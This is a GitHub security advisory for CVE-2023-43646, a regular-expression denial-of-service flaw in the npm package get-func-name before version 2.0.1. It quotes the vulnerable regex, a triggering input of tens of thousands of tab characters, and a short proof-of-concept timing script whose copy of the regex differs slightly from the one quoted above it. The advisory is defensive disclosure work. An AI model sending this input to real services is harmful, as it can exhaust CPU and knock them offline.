Skip to content

Chaijs/get-func-name vulnerable to ReDoS

High severity GitHub Reviewed Published Sep 26, 2023 in chaijs/get-func-name • Updated Nov 6, 2023

Package

npm get-func-name (npm)

Affected versions

< 2.0.1

Patched versions

2.0.1

Description

The current regex implementation for parsing values in the module is susceptible to excessive backtracking, leading to potential DoS attacks. The regex implementation in question is as follows:

const functionNameMatch = /\s*function(?:\s|\s*\/\*[^(?:*/)]+\*\/\s*)*([^\s(/]+)/;

This vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input:

'\t'.repeat(54773) + '\t/function/i'

Here is a simple PoC code to demonstrate the issue:

const protocolre = /\sfunction(?:\s|\s/*[^(?:*\/)]+*/\s*)*([^\(\/]+)/;

const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'

protocolre.test(maliciousInput);

const endTime = Date.now();

console.log("process time: ", endTime - startTime, "ms");

References

@keithamus keithamus published to chaijs/get-func-name Sep 26, 2023
Published by the National Vulnerability Database Sep 27, 2023
Published to the GitHub Advisory Database Sep 27, 2023
Reviewed Sep 27, 2023
Last updated Nov 6, 2023

Severity

High
7.5
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2023-43646

GHSA ID

GHSA-4q6p-r6v2-jvc5

Source code

Credits

Checking history
See something to contribute? Suggest improvements for this vulnerability.